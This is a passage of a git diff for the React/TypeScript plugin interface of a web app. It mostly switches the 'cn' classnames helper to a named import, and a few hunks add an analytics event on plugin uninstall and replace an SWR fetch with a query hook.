 import PluginTypeSwitch from './plugin-type-switch'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type StickySearchAndSwitchWrapperProps = {
   locale?: string
diff --git a/web/app/components/plugins/plugin-auth/authorize/add-oauth-button.tsx b/web/app/components/plugins/plugin-auth/authorize/add-oauth-button.tsx
index 3d7324306c..cd64531ecc 100644
--- a/web/app/components/plugins/plugin-auth/authorize/add-oauth-button.tsx
+++ b/web/app/components/plugins/plugin-auth/authorize/add-oauth-button.tsx
@@ -13,7 +13,7 @@ import {
 import Button from '@/app/components/base/button'
 import type { ButtonProps } from '@/app/components/base/button'
 import OAuthClientSettings from './oauth-client-settings'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { PluginPayload } from '../types'
 import { openOAuthPopup } from '@/hooks/use-oauth'
 import Badge from '@/app/components/base/badge'
diff --git a/web/app/components/plugins/plugin-auth/authorize/index.tsx b/web/app/components/plugins/plugin-auth/authorize/index.tsx
index 1d41165147..245d1a177f 100644
--- a/web/app/components/plugins/plugin-auth/authorize/index.tsx
+++ b/web/app/components/plugins/plugin-auth/authorize/index.tsx
@@ -8,7 +8,7 @@ import type { AddOAuthButtonProps } from './add-oauth-button'
 import AddApiKeyButton from './add-api-key-button'
 import type { AddApiKeyButtonProps } from './add-api-key-button'
 import type { PluginPayload } from '../types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Tooltip from '@/app/components/base/tooltip'
 
 type AuthorizeProps = {
diff --git a/web/app/components/plugins/plugin-auth/authorized-in-data-source-node.tsx b/web/app/components/plugins/plugin-auth/authorized-in-data-source-node.tsx
index efef4eb5ea..ae5687c298 100644
--- a/web/app/components/plugins/plugin-auth/authorized-in-data-source-node.tsx
+++ b/web/app/components/plugins/plugin-auth/authorized-in-data-source-node.tsx
@@ -5,7 +5,7 @@ import { useTranslation } from 'react-i18next'
 import { RiEqualizer2Line } from '@remixicon/react'
 import Button from '@/app/components/base/button'
 import Indicator from '@/app/components/header/indicator'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type AuthorizedInDataSourceNodeProps = {
   authorizationsNum: number
diff --git a/web/app/components/plugins/plugin-auth/authorized-in-node.tsx b/web/app/components/plugins/plugin-auth/authorized-in-node.tsx
index 60297094c3..2f615e5fdc 100644
--- a/web/app/components/plugins/plugin-auth/authorized-in-node.tsx
+++ b/web/app/components/plugins/plugin-auth/authorized-in-node.tsx
@@ -7,7 +7,7 @@ import { useTranslation } from 'react-i18next'
 import { RiArrowDownSLine } from '@remixicon/react'
 import Button from '@/app/components/base/button'
 import Indicator from '@/app/components/header/indicator'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type {
   Credential,
   PluginPayload,
diff --git a/web/app/components/plugins/plugin-auth/authorized/index.tsx b/web/app/components/plugins/plugin-auth/authorized/index.tsx
index ad814b0206..bfc446e6a9 100644
--- a/web/app/components/plugins/plugin-auth/authorized/index.tsx
+++ b/web/app/components/plugins/plugin-auth/authorized/index.tsx
@@ -18,7 +18,7 @@ import type {
 } from '@/app/components/base/portal-to-follow-elem'
 import Button from '@/app/components/base/button'
 import Indicator from '@/app/components/header/indicator'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Confirm from '@/app/components/base/confirm'
 import Authorize from '../authorize'
 import type { Credential } from '../types'
diff --git a/web/app/components/plugins/plugin-auth/authorized/item.tsx b/web/app/components/plugins/plugin-auth/authorized/item.tsx
index f8a1033de7..fd1fb41ed5 100644
--- a/web/app/components/plugins/plugin-auth/authorized/item.tsx
+++ b/web/app/components/plugins/plugin-auth/authorized/item.tsx
@@ -16,7 +16,7 @@ import ActionButton from '@/app/components/base/action-button'
 import Tooltip from '@/app/components/base/tooltip'
 import Button from '@/app/components/base/button'
 import Input from '@/app/components/base/input'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { Credential } from '../types'
 import { CredentialTypeEnum } from '../types'
 
diff --git a/web/app/components/plugins/plugin-auth/plugin-auth-in-agent.tsx b/web/app/components/plugins/plugin-auth/plugin-auth-in-agent.tsx
index 9a9fca78a0..a22dea2d09 100644
--- a/web/app/components/plugins/plugin-auth/plugin-auth-in-agent.tsx
+++ b/web/app/components/plugins/plugin-auth/plugin-auth-in-agent.tsx
@@ -14,7 +14,7 @@ import type {
 import { usePluginAuth } from './hooks/use-plugin-auth'
 import Button from '@/app/components/base/button'
 import Indicator from '@/app/components/header/indicator'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type PluginAuthInAgentProps = {
   pluginPayload: PluginPayload
diff --git a/web/app/components/plugins/plugin-auth/plugin-auth.tsx b/web/app/components/plugins/plugin-auth/plugin-auth.tsx
index a9bb287cdf..ab782505d5 100644
--- a/web/app/components/plugins/plugin-auth/plugin-auth.tsx
+++ b/web/app/components/plugins/plugin-auth/plugin-auth.tsx
@@ -3,7 +3,7 @@ import Authorize from './authorize'
 import Authorized from './authorized'
 import type { PluginPayload } from './types'
 import { usePluginAuth } from './hooks/use-plugin-auth'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type PluginAuthProps = {
   pluginPayload: PluginPayload
diff --git a/web/app/components/plugins/plugin-detail-panel/app-selector/app-inputs-panel.tsx b/web/app/components/plugins/plugin-detail-panel/app-selector/app-inputs-panel.tsx
index edf15a4419..f54a3c6027 100644
--- a/web/app/components/plugins/plugin-detail-panel/app-selector/app-inputs-panel.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/app-selector/app-inputs-panel.tsx
@@ -12,7 +12,7 @@ import type { App } from '@/types/app'
 import type { FileUpload } from '@/app/components/base/features/types'
 import { BlockEnum, InputVarType, SupportUploadFileTypes } from '@/app/components/workflow/types'
 
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   value?: {
diff --git a/web/app/components/plugins/plugin-detail-panel/app-selector/app-trigger.tsx b/web/app/components/plugins/plugin-detail-panel/app-selector/app-trigger.tsx
index d2c11f09f2..5030c804d7 100644
--- a/web/app/components/plugins/plugin-detail-panel/app-selector/app-trigger.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/app-selector/app-trigger.tsx
@@ -6,7 +6,7 @@ import {
 } from '@remixicon/react'
 import AppIcon from '@/app/components/base/app-icon'
 import type { App } from '@/types/app'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   open: boolean
diff --git a/web/app/components/plugins/plugin-detail-panel/detail-header.tsx b/web/app/components/plugins/plugin-detail-panel/detail-header.tsx
index 197f2e2a92..66c352caa0 100644
--- a/web/app/components/plugins/plugin-detail-panel/detail-header.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/detail-header.tsx
@@ -19,7 +19,7 @@ import { useModalContext } from '@/context/modal-context'
 import { useProviderContext } from '@/context/provider-context'
 import { uninstallPlugin } from '@/service/plugins'
 import { useAllToolProviders, useInvalidateAllToolProviders } from '@/service/use-tools'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { getMarketplaceUrl } from '@/utils/var'
 import {
   RiArrowLeftRightLine,
@@ -44,6 +44,7 @@ import { AUTO_UPDATE_MODE } from '../reference-setting-modal/auto-update-setting
 import { convertUTCDaySecondsToLocalSeconds, timeOfDayToDayjs } from '../reference-setting-modal/auto-update-setting/utils'
 import type { PluginDetail } from '../types'
 import { PluginCategoryEnum, PluginSource } from '../types'
+import { trackEvent } from '@/app/components/base/amplitude'
 
 const i18nPrefix = 'plugin.action'
 
@@ -212,8 +213,9 @@ const DetailHeader = ({
         refreshModelProviders()
       if (PluginCategoryEnum.tool.includes(category))
         invalidateAllToolProviders()
+      trackEvent('plugin_uninstalled', { plugin_id, plugin_name: name })
     }
-  }, [showDeleting, id, hideDeleting, hideDeleteConfirm, onUpdate, category, refreshModelProviders, invalidateAllToolProviders])
+  }, [showDeleting, id, hideDeleting, hideDeleteConfirm, onUpdate, category, refreshModelProviders, invalidateAllToolProviders, plugin_id, name])
 
   return (
     <div className={cn('shrink-0 border-b border-divider-subtle bg-components-panel-bg p-4 pb-3', isReadmeView && 'border-b-0 bg-transparent p-0')}>
diff --git a/web/app/components/plugins/plugin-detail-panel/endpoint-list.tsx b/web/app/components/plugins/plugin-detail-panel/endpoint-list.tsx
index fff6775495..74c034e2ee 100644
--- a/web/app/components/plugins/plugin-detail-panel/endpoint-list.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/endpoint-list.tsx
@@ -20,7 +20,7 @@ import {
   useInvalidateEndpointList,
 } from '@/service/use-endpoints'
 import type { PluginDetail } from '@/app/components/plugins/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   detail: PluginDetail
diff --git a/web/app/components/plugins/plugin-detail-panel/endpoint-modal.tsx b/web/app/components/plugins/plugin-detail-panel/endpoint-modal.tsx
index 48aeecf1b2..2c0738efcc 100644
--- a/web/app/components/plugins/plugin-detail-panel/endpoint-modal.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/endpoint-modal.tsx
@@ -9,7 +9,7 @@ import Drawer from '@/app/components/base/drawer'
 import Form from '@/app/components/header/account-setting/model-provider-page/model-modal/Form'
 import Toast from '@/app/components/base/toast'
 import { useRenderI18nObject } from '@/hooks/use-i18n'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { ReadmeEntrance } from '../readme-panel/entrance'
 import type { PluginDetail } from '../types'
 import type { FormSchema } from '../../base/form/types'
diff --git a/web/app/components/plugins/plugin-detail-panel/index.tsx b/web/app/components/plugins/plugin-detail-panel/index.tsx
index 380d2329f6..3fcd660f37 100644
--- a/web/app/components/plugins/plugin-detail-panel/index.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/index.tsx
@@ -1,7 +1,7 @@
 'use client'
 import Drawer from '@/app/components/base/drawer'
 import { PluginCategoryEnum, type PluginDetail } from '@/app/components/plugins/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { FC } from 'react'
 import { useCallback, useEffect } from 'react'
 import ActionList from './action-list'
diff --git a/web/app/components/plugins/plugin-detail-panel/model-selector/index.tsx b/web/app/components/plugins/plugin-detail-panel/model-selector/index.tsx
index 1393a1844f..7b516eb8ea 100644
--- a/web/app/components/plugins/plugin-detail-panel/model-selector/index.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/model-selector/index.tsx
@@ -25,7 +25,7 @@ import {
 import LLMParamsPanel from './llm-params-panel'
 import TTSParamsPanel from './tts-params-panel'
 import { useProviderContext } from '@/context/provider-context'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Toast from '@/app/components/base/toast'
 import { fetchAndMergeValidCompletionParams } from '@/utils/completion-params'
 
diff --git a/web/app/components/plugins/plugin-detail-panel/model-selector/llm-params-panel.tsx b/web/app/components/plugins/plugin-detail-panel/model-selector/llm-params-panel.tsx
index 0c5ed98e11..e741ec1772 100644
--- a/web/app/components/plugins/plugin-detail-panel/model-selector/llm-params-panel.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/model-selector/llm-params-panel.tsx
@@ -1,5 +1,4 @@
 import React, { useMemo } from 'react'
-import useSWR from 'swr'
 import { useTranslation } from 'react-i18next'
 import PresetsParameter from '@/app/components/header/account-setting/model-provider-page/model-parameter-modal/presets-parameter'
 import ParameterItem from '@/app/components/header/account-setting/model-provider-page/model-parameter-modal/parameter-item'
@@ -9,9 +8,9 @@ import type {
   ModelParameterRule,
 } from '@/app/components/header/account-setting/model-provider-page/declarations'
 import type { ParameterValue } from '@/app/components/header/account-setting/model-provider-page/model-parameter-modal/parameter-item'
-import { fetchModelParameterRules } from '@/service/common'
 import { PROVIDER_WITH_PRESET_TONE, STOP_PARAMETER_RULE, TONE_LIST } from '@/config'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
+import { useModelParameterRules } from '@/service/use-common'
 
 type Props = {
   isAdvancedMode: boolean
@@ -29,11 +28,7 @@ const LLMParamsPanel = ({
   onCompletionParamsChange,
 }: Props) => {
   const { t } = useTranslation()
-  const { data: parameterRulesData, isLoading } = useSWR(
-    (provider && modelId)
-      ? `/workspaces/current/model-providers/${provider}/models/parameter-rules?model=${modelId}`
-      : null, fetchModelParameterRules,
-  )
+  const { data: parameterRulesData, isPending: isLoading } = useModelParameterRules(provider, modelId)
 
   const parameterRules: ModelParameterRule[] = useMemo(() => {
     return parameterRulesData?.data || []
diff --git a/web/app/components/plugins/plugin-detail-panel/model-selector/tts-params-panel.tsx b/web/app/components/plugins/plugin-detail-panel/model-selector/tts-params-panel.tsx
index e7b238cfaa..33b803060a 100644
--- a/web/app/components/plugins/plugin-detail-panel/model-selector/tts-params-panel.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/model-selector/tts-params-panel.tsx
@@ -2,7 +2,7 @@ import React, { useMemo } from 'react'
 import { useTranslation } from 'react-i18next'
 import { languages } from '@/i18n-config/language'
 import { PortalSelect } from '@/app/components/base/select'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   currentModel: any
diff --git a/web/app/components/plugins/plugin-detail-panel/multiple-tool-selector/index.tsx b/web/app/components/plugins/plugin-detail-panel/multiple-tool-selector/index.tsx
index c92b9d171a..f809cb2e7c 100644
--- a/web/app/components/plugins/plugin-detail-panel/multiple-tool-selector/index.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/multiple-tool-selector/index.tsx
@@ -11,7 +11,7 @@ import Divider from '@/app/components/base/divider'
 import type { ToolValue } from '@/app/components/workflow/block-selector/types'
 import type { Node } from 'reactflow'
 import type { NodeOutPutVar } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { ArrowDownRoundFill } from '@/app/components/base/icons/src/vender/solid/general'
 import { useAllMCPTools } from '@/service/use-tools'
 
diff --git a/web/app/components/plugins/plugin-detail-panel/operation-dropdown.tsx b/web/app/components/plugins/plugin-detail-panel/operation-dropdown.tsx
index 9cc5af589b..356cf3c21a 100644
--- a/web/app/components/plugins/plugin-detail-panel/operation-dropdown.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/operation-dropdown.tsx
@@ -11,7 +11,7 @@ import {
   PortalToFollowElemContent,
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 
 type Props = {
diff --git a/web/app/components/plugins/plugin-detail-panel/strategy-detail.tsx b/web/app/components/plugins/plugin-detail-panel/strategy-detail.tsx
index e13e38ebe9..750b5e5780 100644
--- a/web/app/components/plugins/plugin-detail-panel/strategy-detail.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/strategy-detail.tsx
@@ -17,7 +17,7 @@ import type {
 import type { Locale } from '@/i18n-config'
 import { useRenderI18nObject } from '@/hooks/use-i18n'
 import { API_PREFIX } from '@/config'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   provider: {
diff --git a/web/app/components/plugins/plugin-detail-panel/strategy-item.tsx b/web/app/components/plugins/plugin-detail-panel/strategy-item.tsx
index 741c8cdf7e..2635f843db 100644
--- a/web/app/components/plugins/plugin-detail-panel/strategy-item.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/strategy-item.tsx
@@ -6,7 +6,7 @@ import type {
 } from '@/app/components/plugins/types'
 import type { Locale } from '@/i18n-config'
 import { useRenderI18nObject } from '@/hooks/use-i18n'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   provider: {
diff --git a/web/app/components/plugins/plugin-detail-panel/subscription-list/create/index.tsx b/web/app/components/plugins/plugin-detail-panel/subscription-list/create/index.tsx
index 7515ba4b4a..56483ead9c 100644
--- a/web/app/components/plugins/plugin-detail-panel/subscription-list/create/index.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/subscription-list/create/index.tsx
@@ -8,7 +8,7 @@ import Tooltip from '@/app/components/base/tooltip'
 import type { TriggerSubscriptionBuilder } from '@/app/components/workflow/block-selector/types'
 import { openOAuthPopup } from '@/hooks/use-oauth'
 import { useInitiateTriggerOAuth, useTriggerOAuthConfig, useTriggerProviderInfo } from '@/service/use-triggers'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiAddLine, RiEqualizer2Line } from '@remixicon/react'
 import { useBoolean } from 'ahooks'
 import { useMemo, useState } from 'react'
diff --git a/web/app/components/plugins/plugin-detail-panel/subscription-list/list-view.tsx b/web/app/components/plugins/plugin-detail-panel/subscription-list/list-view.tsx
index a64d2f4070..27ce4d796d 100644
--- a/web/app/components/plugins/plugin-detail-panel/subscription-list/list-view.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/subscription-list/list-view.tsx
@@ -1,6 +1,6 @@
 'use client'
 import Tooltip from '@/app/components/base/tooltip'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import React from 'react'
 import { useTranslation } from 'react-i18next'
 import { CreateButtonType, CreateSubscriptionButton } from './create'
diff --git a/web/app/components/plugins/plugin-detail-panel/subscription-list/log-viewer.tsx b/web/app/components/plugins/plugin-detail-panel/subscription-list/log-viewer.tsx
index 8b16d2c60a..295923e900 100644
--- a/web/app/components/plugins/plugin-detail-panel/subscription-list/log-viewer.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/subscription-list/log-viewer.tsx
@@ -8,7 +8,7 @@ import {
   RiErrorWarningFill,
   RiFileCopyLine,
 } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Toast from '@/app/components/base/toast'
 import CodeEditor from '@/app/components/workflow/nodes/_base/components/editor/code-editor'
 import { CodeLanguage } from '@/app/components/workflow/nodes/code/types'
diff --git a/web/app/components/plugins/plugin-detail-panel/subscription-list/selector-entry.tsx b/web/app/components/plugins/plugin-detail-panel/subscription-list/selector-entry.tsx
index c23e022ac5..7f6dade12b 100644
--- a/web/app/components/plugins/plugin-detail-panel/subscription-list/selector-entry.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/subscription-list/selector-entry.tsx
@@ -6,7 +6,7 @@ import {
 } from '@/app/components/base/portal-to-follow-elem'
 import type { SimpleSubscription } from '@/app/components/plugins/plugin-detail-panel/subscription-list'
 import { SubscriptionList, SubscriptionListMode } from '@/app/components/plugins/plugin-detail-panel/subscription-list'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiArrowDownSLine, RiWebhookLine } from '@remixicon/react'
 import { useMemo, useState } from 'react'
 import { useTranslation } from 'react-i18next'
diff --git a/web/app/components/plugins/plugin-detail-panel/subscription-list/selector-view.tsx b/web/app/components/plugins/plugin-detail-panel/subscription-list/selector-view.tsx
index 04b078e347..7e2cd933e9 100644
--- a/web/app/components/plugins/plugin-detail-panel/subscription-list/selector-view.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/subscription-list/selector-view.tsx
@@ -2,7 +2,7 @@
 import ActionButton from '@/app/components/base/action-button'
 import Tooltip from '@/app/components/base/tooltip'
 import type { TriggerSubscription } from '@/app/components/workflow/block-selector/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiCheckLine, RiDeleteBinLine, RiWebhookLine } from '@remixicon/react'
 import React, { useState } from 'react'
 import { useTranslation } from 'react-i18next'
diff --git a/web/app/components/plugins/plugin-detail-panel/subscription-list/subscription-card.tsx b/web/app/components/plugins/plugin-detail-panel/subscription-list/subscription-card.tsx
index b2a86b5c76..1d877adbf5 100644
--- a/web/app/components/plugins/plugin-detail-panel/subscription-list/subscription-card.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/subscription-list/subscription-card.tsx
@@ -2,7 +2,7 @@
 import ActionButton from '@/app/components/base/action-button'
 import Tooltip from '@/app/components/base/tooltip'
 import type { TriggerSubscription } from '@/app/components/workflow/block-selector/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   RiDeleteBinLine,
   RiWebhookLine,
diff --git a/web/app/components/plugins/plugin-detail-panel/tool-selector/index.tsx b/web/app/components/plugins/plugin-detail-panel/tool-selector/index.tsx
index ea7892be32..e7ed1410b3 100644
--- a/web/app/components/plugins/plugin-detail-panel/tool-selector/index.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/tool-selector/index.tsx
@@ -35,7 +35,7 @@ import type {
 import { MARKETPLACE_API_PREFIX } from '@/config'
 import type { Node } from 'reactflow'
 import type { NodeOutPutVar } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   AuthCategory,
   PluginAuthInAgent,
diff --git a/web/app/components/plugins/plugin-detail-panel/tool-selector/reasoning-config-form.tsx b/web/app/components/plugins/plugin-detail-panel/tool-selector/reasoning-config-form.tsx
index 88bf7f0dfd..37cdadb59f 100644
--- a/web/app/components/plugins/plugin-detail-panel/tool-selector/reasoning-config-form.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/tool-selector/reasoning-config-form.tsx
@@ -27,7 +27,7 @@ import type {
 import type { ToolVarInputs } from '@/app/components/workflow/nodes/tool/types'
 import { VarType as VarKindType } from '@/app/components/workflow/nodes/tool/types'
 import { VarType } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useBoolean } from 'ahooks'
 import SchemaModal from './schema-modal'
 import type { SchemaRoot } from '@/app/components/workflow/nodes/llm/types'
diff --git a/web/app/components/plugins/plugin-detail-panel/tool-selector/tool-credentials-form.tsx b/web/app/components/plugins/plugin-detail-panel/tool-selector/tool-credentials-form.tsx
index fd7ec618f0..299a5cd594 100644
--- a/web/app/components/plugins/plugin-detail-panel/tool-selector/tool-credentials-form.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/tool-selector/tool-credentials-form.tsx
@@ -13,7 +13,7 @@ import { fetchBuiltInToolCredential, fetchBuiltInToolCredentialSchema } from '@/
 import Loading from '@/app/components/base/loading'
 import Form from '@/app/components/header/account-setting/model-provider-page/model-modal/Form'
 import { useRenderI18nObject } from '@/hooks/use-i18n'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   collection: Collection
diff --git a/web/app/components/plugins/plugin-detail-panel/tool-selector/tool-item.tsx b/web/app/components/plugins/plugin-detail-panel/tool-selector/tool-item.tsx
index b3817721de..09b74bbb02 100644
--- a/web/app/components/plugins/plugin-detail-panel/tool-selector/tool-item.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/tool-selector/tool-item.tsx
@@ -16,7 +16,7 @@ import Tooltip from '@/app/components/base/tooltip'
 import { ToolTipContent } from '@/app/components/base/tooltip/content'
 import { InstallPluginButton } from '@/app/components/workflow/nodes/_base/components/install-plugin-button'
 import { SwitchPluginVersion } from '@/app/components/workflow/nodes/_base/components/switch-plugin-version'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import McpToolNotSupportTooltip from '@/app/components/workflow/nodes/_base/components/mcp-tool-not-support-tooltip'
 
 type Props = {
diff --git a/web/app/components/plugins/plugin-detail-panel/tool-selector/tool-trigger.tsx b/web/app/components/plugins/plugin-detail-panel/tool-selector/tool-trigger.tsx
index 94c5148c49..ba62b9be5b 100644
--- a/web/app/components/plugins/plugin-detail-panel/tool-selector/tool-trigger.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/tool-selector/tool-trigger.tsx
@@ -8,7 +8,7 @@ import {
 import BlockIcon from '@/app/components/workflow/block-icon'
 import { BlockEnum } from '@/app/components/workflow/types'
 import type { ToolWithProvider } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   open: boolean
diff --git a/web/app/components/plugins/plugin-detail-panel/trigger/event-detail-drawer.tsx b/web/app/components/plugins/plugin-detail-panel/trigger/event-detail-drawer.tsx
index 2083f34263..718878ae20 100644
--- a/web/app/components/plugins/plugin-detail-panel/trigger/event-detail-drawer.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/trigger/event-detail-drawer.tsx
@@ -9,7 +9,7 @@ import OrgInfo from '@/app/components/plugins/card/base/org-info'
 import { triggerEventParametersToFormSchemas } from '@/app/components/tools/utils/to-form-schema'
 import type { TriggerProviderApiEntity } from '@/app/components/workflow/block-selector/types'
 import Field from '@/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/show/field'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   RiArrowLeftLine,
   RiCloseLine,
diff --git a/web/app/components/plugins/plugin-detail-panel/trigger/event-list.tsx b/web/app/components/plugins/plugin-detail-panel/trigger/event-list.tsx
index 93f2fcc9c7..2c8ab28ad9 100644
--- a/web/app/components/plugins/plugin-detail-panel/trigger/event-list.tsx
+++ b/web/app/components/plugins/plugin-detail-panel/trigger/event-list.tsx
@@ -2,7 +2,7 @@ import { useLanguage } from '@/app/components/header/account-setting/model-provi
 import type { TriggerEvent } from '@/app/components/plugins/types'
 import type { TriggerProviderApiEntity } from '@/app/components/workflow/block-selector/types'
 import { useTriggerProviderInfo } from '@/service/use-triggers'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { usePluginStore } from '../store'
diff --git a/web/app/components/plugins/plugin-item/index.tsx b/web/app/components/plugins/plugin-item/index.tsx
index 51a72d1e5a..09c1f7f951 100644
--- a/web/app/components/plugins/plugin-item/index.tsx
+++ b/web/app/components/plugins/plugin-item/index.tsx
@@ -5,7 +5,7 @@ import { API_PREFIX } from '@/config'
 import { useAppContext } from '@/context/app-context'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 import { useRenderI18nObject } from '@/hooks/use-i18n'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { getMarketplaceUrl } from '@/utils/var'
 import {
   RiArrowRightUpLine,
diff --git a/web/app/components/plugins/plugin-page/filter-management/category-filter.tsx b/web/app/components/plugins/plugin-page/filter-management/category-filter.tsx
index c6fa88c1b1..dd36ff6ca8 100644
--- a/web/app/components/plugins/plugin-page/filter-management/category-filter.tsx
+++ b/web/app/components/plugins/plugin-page/filter-management/category-filter.tsx
@@ -11,7 +11,7 @@ import {
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
 import Checkbox from '@/app/components/base/checkbox'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Input from '@/app/components/base/input'
 import { useCategories } from '../../hooks'
 import { useTranslation } from 'react-i18next'
diff --git a/web/app/components/plugins/plugin-page/filter-management/tag-filter.tsx b/web/app/components/plugins/plugin-page/filter-management/tag-filter.tsx
index 843d041763..c8db5e1f17 100644
--- a/web/app/components/plugins/plugin-page/filter-management/tag-filter.tsx
+++ b/web/app/components/plugins/plugin-page/filter-management/tag-filter.tsx
@@ -11,7 +11,7 @@ import {
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
 import Checkbox from '@/app/components/base/checkbox'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Input from '@/app/components/base/input'
 import { useTags } from '../../hooks'
 import { useTranslation } from 'react-i18next'
diff --git a/web/app/components/plugins/plugin-page/index.tsx b/web/app/components/plugins/plugin-page/index.tsx
index 4b8444ab34..feec66eb8b 100644
--- a/web/app/components/plugins/plugin-page/index.tsx
+++ b/web/app/components/plugins/plugin-page/index.tsx
@@ -23,7 +23,7 @@ import PluginTasks from './plugin-tasks'
 import Button from '@/app/components/base/button'
 import TabSlider from '@/app/components/base/tab-slider'
 import Tooltip from '@/app/components/base/tooltip'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import ReferenceSettingModal from '@/app/components/plugins/reference-setting-modal/modal'
 import InstallFromMarketplace from '../install-plugin/install-from-marketplace'
 import {
diff --git a/web/app/components/plugins/plugin-page/install-plugin-dropdown.tsx b/web/app/components/plugins/plugin-page/install-plugin-dropdown.tsx
index be62adb310..ecacc16c8f 100644
--- a/web/app/components/plugins/plugin-page/install-plugin-dropdown.tsx
+++ b/web/app/components/plugins/plugin-page/install-plugin-dropdown.tsx
@@ -8,7 +8,7 @@ import { FileZip } from '@/app/components/base/icons/src/vender/solid/files'
 import { Github } from '@/app/components/base/icons/src/vender/solid/general'
 import InstallFromGitHub from '@/app/components/plugins/install-plugin/install-from-github'
 import InstallFromLocalPackage from '@/app/components/plugins/install-plugin/install-from-local-package'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/plugins/plugin-page/plugin-tasks/index.tsx b/web/app/components/plugins/plugin-page/plugin-tasks/index.tsx
index 4c37705287..e1d1df0321 100644
--- a/web/app/components/plugins/plugin-page/plugin-tasks/index.tsx
+++ b/web/app/components/plugins/plugin-page/plugin-tasks/index.tsx
@@ -19,7 +19,7 @@ import {
 import Button from '@/app/components/base/button'
 import ProgressCircle from '@/app/components/base/progress-bar/progress-circle'
 import CardIcon from '@/app/components/plugins/card/base/card-icon'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useGetLanguage } from '@/context/i18n'
 import useGetIcon from '@/app/components/plugins/install-plugin/base/use-get-icon'
 import DownloadingIcon from '@/app/components/header/plugins-nav/downloading-icon'
@@ -187,7 +187,7 @@ const PluginTasks = () => {
             {/* Running Plugins */}
             {runningPlugins.length > 0 && (
               <>
-                <div className='system-sm-semibold-uppercase sticky top-0 flex h-7 items-center justify-between px-2 pt-1'>
